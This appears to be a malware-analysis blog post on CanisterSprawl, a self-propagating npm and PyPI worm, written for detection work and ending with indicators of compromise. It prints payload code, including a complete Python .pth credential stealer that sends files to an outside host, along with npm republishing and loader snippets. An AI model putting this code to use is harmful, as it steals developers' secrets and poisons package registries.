← Back to blog

Reversing CanisterSprawl for KQL detections

A technical breakdown of CanisterSprawl; the second iteration of the CanisterWorm supply chain operation, now with active self-propagation, cross-ecosystem PyPI infection, and upgraded exfiltration infrastructure.


Background

Last month, CanisterWorm hit the open-source ecosystem. The operation was driven by the hacking collectives TeamPCP, xploitrs and Vect, eventually compromising Trivy, LiteLLM, Bitwarden CLI and dozens of npm packages in March 2026. Security companies estimate over 500,000 machines and more than 1,000 SaaS environments were impacted.

CanisterSprawl is what came next. With the same infrastructure concept, different canister (cjn37-uyaaa-aaaac-qgnva-cai) and three meaningful escalations. TeamPCP has since denied involvement on X, claiming a copycat Threat Actor.

VT


Stage 0: Trigger

The malware fires via a postinstall hook in package.json. The moment you run npm install, Node executes env-compat.cjs before you ever touch the package. There is no user interaction and no privilege required.

CanisterSprawl

There's a basic re-execution guard at the top:

if (process.env._PKG_INIT === '1') process.exit(0);
process.env._PKG_INIT = '1';

This prevents the script from running twice in nested install contexts, which is a standard worm hygiene.

Beyond the re-execution guard, the payload implements several additional anti-detection measures. A 200ms startup delay bypasses synchronous sandbox analysis with short timeouts. A 45-second self-kill timer prevents a persistent process from appearing in the process list.

setTimeout(() => {
  main().catch(...).finally(() => process.exit(0));
}, 200);
setTimeout(() => process.exit(0), 45000).unref();

The loader stub additionally removes the temp directory immediately after execution, minimizing the forensic window for file-based detection.

try { f.rmSync(d, { recursive: true, force: true }); } catch {}

Stage 1: Credential Harvesting

The harvest() function is the core of the payload. It operates across three surfaces: environment variables, the filesystem, and running processes.

Environment variables are matched against a wide regex list covering essentially every cloud provider, CI platform, LLM API, secret management tool, and database credential pattern one can think of. Funny enough, there's a double space between /^COHERE/i and /^PRIVATE/i in the original payload, which seems like a small copy-paste artifact that confirms this wasn't assembled by hand from scratch but likely grown incrementally as new target patterns were added.

const sensitivePatterns = [
  /TOKEN/i, /SECRET/i, /KEY/i, /PASSWORD/i, /CREDENTIAL/i, /^AWS_/i, /^AZURE_/i, /^GCP_/i, /^GOOGLE_/i,
  /^NPM_/i, /^GITHUB_/i, /^GITLAB_/i, /^DOCKER_/i, /^DATABASE/i, /^DB_/i, /^REDIS/i, /^MONGO/i,
  /^STRIPE/i, /^SENTRY/i, /^SLACK/i, /^DATADOG/i, /^SONAR/i, /^CODECOV/i, /^SNYK/i, /^VAULT_/i,
  /^CONSUL_/i, /^NOMAD_/i, /^PULUMI_/i, /^TF_VAR_/i, /^TFE_TOKEN/i, /^VERCEL_/i, /^NETLIFY_/i,
  /^HEROKU_/i, /^CIRCLE/i, /^TRAVIS/i, /^BUILDKITE/i, /^TWILIO_/i, /^SENDGRID_/i, /^MAILGUN_/i,
  /^OPENAI/i, /^ANTHROPIC/i, /^COHERE/i,   /^PRIVATE/i, /^SIGNING/i, /^ENCRYPTION/i, /^SSH_/i,
  /^GPG_/i, /CONN.*STRING/i, /DSN/i, /JDBC/i,
];

Filesystem collection happens next. The script individually grabs:

~/.npmrc, ~/.ssh/id_*, ~/.git-credentials, ~/.netrc
~/.aws/credentials, ~/.aws/config
~/.config/gcloud/application_default_credentials.json
~/.azure/azureProfile.json, ~/.azure/accessTokens.json
~/.kube/config, ~/.docker/config.json
~/.terraform.d/credentials.tfrc.json, ~/.pulumi/credentials.json
~/.vault-token, ~/.pypirc, ~/.pgpass, ~/.my.cnf
~/.bash_history, ~/.zsh_history, ~/.node_repl_history
.env, .env.local, .env.production, .env.staging

On Linux, the script additionally iterates through /proc/<pid>/environ for the first 50 PIDs and pulls any process environment containing TOKEN, SECRET, KEY, or PASSWORD. This catches secrets from running processes that were never written to disk.

if (os.platform() === 'linux') {
  try {
    const procs = fs.readdirSync('/proc').filter(f => /^\d+$/.test(f)).slice(0, 50);
    const procEnvs = [];
    for (const pid of procs) {
      try {
        const env = fs.readFileSync(`/proc/${pid}/environ`, 'utf8');
        if (/TOKEN|SECRET|KEY|PASSWORD/i.test(env)) {
          const cmdline = fs.readFileSync(`/proc/${pid}/cmdline`, 'utf8').replace(/\0/g, ' ').trim();
          procEnvs.push({ pid, cmdline: cmdline.substring(0, 200), env: env.replace(/\0/g, '\n') });
        }
      } catch {}
    }
    if (procEnvs.length > 0) fsSecrets.proc_environs = procEnvs;
  } catch {}
}

The payload also fingerprints the execution environment to identify CI runners explicitly.

ci_context: {
  detected: !!process.env.CI,
  platform: process.env.GITHUB_ACTIONS ? 'GitHub Actions'
          : process.env.GITLAB_CI ? 'GitLab CI' : 'Unknown',
  repository: process.env.GITHUB_REPOSITORY || null,
  branch: process.env.GITHUB_REF || null,
  commit: process.env.GITHUB_SHA || null,
}

Browser and wallet data gets its own dedicated section. The script targets Chrome and Brave Login Data SQLite databases, decrypts stored passwords using the well-known Linux Chrome encryption scheme (PBKDF2 with peanuts/saltysalt, AES-128-CBC), and pulls MetaMask extension storage from Chrome, Brave, and Firefox profiles. Phantom, Exodus, Atomic Wallet, Ledger Live, Solana keypairs, Ethereum keystores, and Bitcoin wallet files are also explicitly targeted.


Stage 2: Encryption and Exfiltration

Before anything leaves the machine, the payload attempts to encrypt the harvested data. If a public.pem RSA key is present alongside the script (it's bundled in the malicious package), the data is encrypted with AES-256-CBC using a randomly generated session key, which is itself RSA-OAEP-SHA256 encrypted against the attacker's public key. Without the corresponding private key, the exfiltrated blob is unreadable.

const sessionKey = crypto.randomBytes(32);
const iv = crypto.randomBytes(16);
// AES-256-CBC encrypt the full harvest
// RSA-OAEP-SHA256 encrypt the session key against attacker pubkey

Exfiltration happens in parallel to two endpoints:

https://telemetry.api-monitor[.]com/v1/telemetry   < HTTPS webhook
cjn37-uyaaa-aaaac-qgnva-cai.raw.icp0[.]io/drop     < ICP canister

For large payloads, the script splits the data into 800KB chunks and POSTs them sequentially, reassembling them server-side using a shared session ID.


Stage 3: npm Self-Propagation

Once exfiltration completes, the worm pivots to propagation. It searches for npm tokens in the environment and in .npmrc files, validates them against registry.npmjs.org/-/whoami, and then enumerates all packages the token owner has write access to.

For each target package:

  1. The latest published tarball is downloaded and extracted
  2. The version is bumped by one patch increment
  3. The malicious env-compat.cjs payload is injected into the package tree (targeting lib/, src/, or dist/ based on the files field in package.json)
  4. A postinstall hook is added pointing to the injected file
  5. The package is republished using the stolen token

When CanisterSprawl rewrites the target's package.json, it appends || true to the node invocation so the install doesn't visibly fail even if the script errors out. From the developer's perspective, npm install completes cleanly regardless of what the payload does. It also bypasses EDR heuristics that trigger on non-zero exit codes from postinstall scripts, which is a common signal for malicious package detection.

pj.scripts.postinstall = 'node ' + payloadRelPath + ' || true';

Before republishing, the payload checks whether the injected filename appears in the target package's .npmignore and silently removes the matching lines.

const lines = ignoreContent.split('\n').filter(l =>
  !l.includes(payloadFilename) && !l.includes(payloadDirname)
);
fs.writeFileSync(npmignorePath, lines.join('\n'));

The loader stub that gets written into the target package base64-encodes the full payload and decodes it into a temp directory at runtime, keeping the actual malicious code out of the package diff and away from naive tarball inspection, bypassing static string matching on registry-level scanning.

var P='<base64_payload>';
var s=p.join(d,'p.cjs');
f.writeFileSync(s,Buffer.from(P,'base64'));

The propagation radius is controlled by the operator via DIST_SCOPE in the environment. Set to unlimited, it infects every package the token can publish to, set to 0, propagation is suppressed entirely.

const MAX_PROP_RAW = process.env.DIST_SCOPE;
const MAX_PROP     = MAX_PROP_RAW === 'unlimited' ? Infinity : parseInt(MAX_PROP_RAW || '0', 10);

Stage 4: PyPI Cross-Ecosystem Propagation

The payload doesn't stop at npm. If a PyPI token is available (via TWINE_PASSWORD or ~/.pypirc), the script generates a Python .pth file payload and publishes it to PyPI using Twine.

execSync(
      `python3 -m twine upload --repository-url "${PYPI_REGISTRY}" ` +
      `--username "${pypiUser}" --password "${pypiToken}" ` +
      `"dist/${distFile}" --non-interactive 2>&1 || ` +
      `pip install twine 2>/dev/null && python3 -m twine upload --repository-url "${PYPI_REGISTRY}" ` +
      `--username "${pypiUser}" --password "${pypiToken}" ` +
      `"dist/${distFile}" --non-interactive 2>&1`,
      { cwd: tmpDir, stdio: 'pipe', timeout: 30000 }
    );

.pth files in Python site-packages are executed automatically on every Python interpreter startup, without import, no explicit invocation required. The technique is explicitly referenced in the source as TeamPCP/LiteLLM method:

L(`  [PyPI] Technique: .pth file injection (TeamPCP/LiteLLM method)`);

if (PY_DIST_SYNC) {
    L(`  [PyPI] DRY_RUN — skipped`);
    return true;
  }
  const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'pydist-'));

  try {
    const modName = pkgName.replace(/-/g, '_');
    fs.writeFileSync(path.join(tmpDir, 'setup.py'), generateSetupPy(pkgName, newVersion));
    fs.writeFileSync(path.join(tmpDir, `${modName}.py`), generateModulePy(pkgName, newVersion));
    fs.writeFileSync(path.join(tmpDir, `${modName}_init.pth`), generatePthPayload());

The .pth payload itself is a self-contained Python credential harvester that exfiltrates to telemetry.api-monitor[.]com/v1/drop, which is the same infrastructure as the npm stage. A developer who installs a poisoned package and has a PyPI token on their machine can now silently propagate the infection into the Python ecosystem as well.

function generatePthPayload() {

  return `import os, sys, json, urllib.request, socket, platform
_wg_id = f"PYPI-PTH-{int(__import__('time').time())}"
try:
    _creds = {k: v for k, v in os.environ.items() if any(p in k.upper() for p in ['TOKEN','SECRET','KEY','PASSWORD','CREDENTIAL','AWS_','AZURE_','GCP_','GOOGLE_','DATABASE','REDIS','VAULT','OPENAI','ANTHROPIC','STRIPE','SENDGRID','TWILIO','SUPABASE','FIREBASE','HEROKU','VERCEL','SENTRY','DATADOG','NEWRELIC','PAGERDUTY','SLACK','DOCKER','NPM_TOKEN','GITHUB_','GITLAB_'])}
    _sys = {"hostname": socket.gethostname(), "platform": platform.platform(), "user": os.getenv("USER","?"), "python": sys.version.split()[0], "cwd": os.getcwd()}
    _fs = {}
    for _f, _l in [(".pypirc","pypirc"),(".aws/credentials","aws"),(".aws/config","aws_config"),(".npmrc","npmrc"),(".netrc","netrc"),(".kube/config","kubeconfig"),(".vault-token","vault"),(".terraform.d/credentials.tfrc.json","terraform"),(".docker/config.json","docker"),(".git-credentials","git_creds"),(".config/gh/hosts.yml","gh_cli"),(".pgpass","pgpass"),(".my.cnf","mysql")]:
        _p = os.path.expanduser(f"~/{_f}")
        if os.path.exists(_p):
            try: _fs[_l] = open(_p).read()
            except: _fs[_l] = "EXISTS"
    _evidence = {"session_id": _wg_id, "type": "pypi-pth-exfil", "system": _sys, "credentials": _creds, "filesystem_secrets": _fs}
    _drop_url = "https://telemetry.api-monitor.com/v1/drop"
    _data = json.dumps(_evidence).encode()
    _req = urllib.request.Request(_drop_url, data=_data, headers={"Content-Type":"application/json","X-Session-ID":_wg_id})
    urllib.request.urlopen(_req, timeout=5)
except: pass
`;
}

Infrastructure

The two exfiltration endpoints serve distinct operational purposes. telemetry.api-monitor[.]com is a conventional HTTPS server that accepts the full harvest including wallet data, passwords, and shell history. The ICP canister cjn37-uyaaa-aaaac-qgnva-cai acts as a resilient dead-drop; it's not the same canister as the original CanisterWorm campaign, but the architectural concept is identical.

The public.pem RSA key bundled in each infected package shares the same DER SHA-256 fingerprint (87259b0d1d017ad8b8daa7c177c2d9f0940e457f8dd1ab3abab3681e433ca88e) across the sampels I had access to. This serves as a reliable pivot for hunting sibling packages across registries; any package containing a public.pem matching this fingerprint likely belongs to the same campaign.


What makes this particularly nasty

Most malicious npm packages are dumb stealers: they grab what they can and exfiltrate it. CanisterSprawl is architecturally different. The propagation logic is self-contained and operator-configurable. A single compromised developer with a broad set of publishable packages and no MFA on their npm account can turn into a distribution node infecting every downstream user of those packages recursively.

If this lands in a GitHub Actions runner with a scoped npm token in the environment, it will attempt to enumerate and poison every package that token has write access to before the job even finishes. The postinstall trigger is silent, the crypto ensures the exfil is unreadable in transit, and the canister backend makes C2 infrastructure resilient to the usual incident response playbook.


Indicators of Compromise

Payload SHA-256: c19c4574d09e60636425f9555d3b63e8cb5c9d63ceb1c982c35e5a310c97a839
RSA key DER SHA-256: 87259b0d1d017ad8b8daa7c177c2d9f0940e457f8dd1ab3abab3681e433ca88e
Webhook C2: telemetry.api-monitor[.]com`
Canister C2: cjn37-uyaaa-aaaac-qgnva-cai.raw.icp0[.]io
Postinstall pattern: node dist/env-compat.cjs || true
Distinctive strings: pkg-telemetry, dist-propagation-report, pypi-pth-exfil

Affected package versions:

@automagik/genie 4.260421.33–4.260421.39
pgserve 1.1.11–1.1.13
@fairwords/websocket 1.0.38–1.0.39
@fairwords/loopback-connector-es 1.4.3–1.4.4
@openwebconcept/design-tokens 1.0.3
@openwebconcept/theme-owc 1.0.3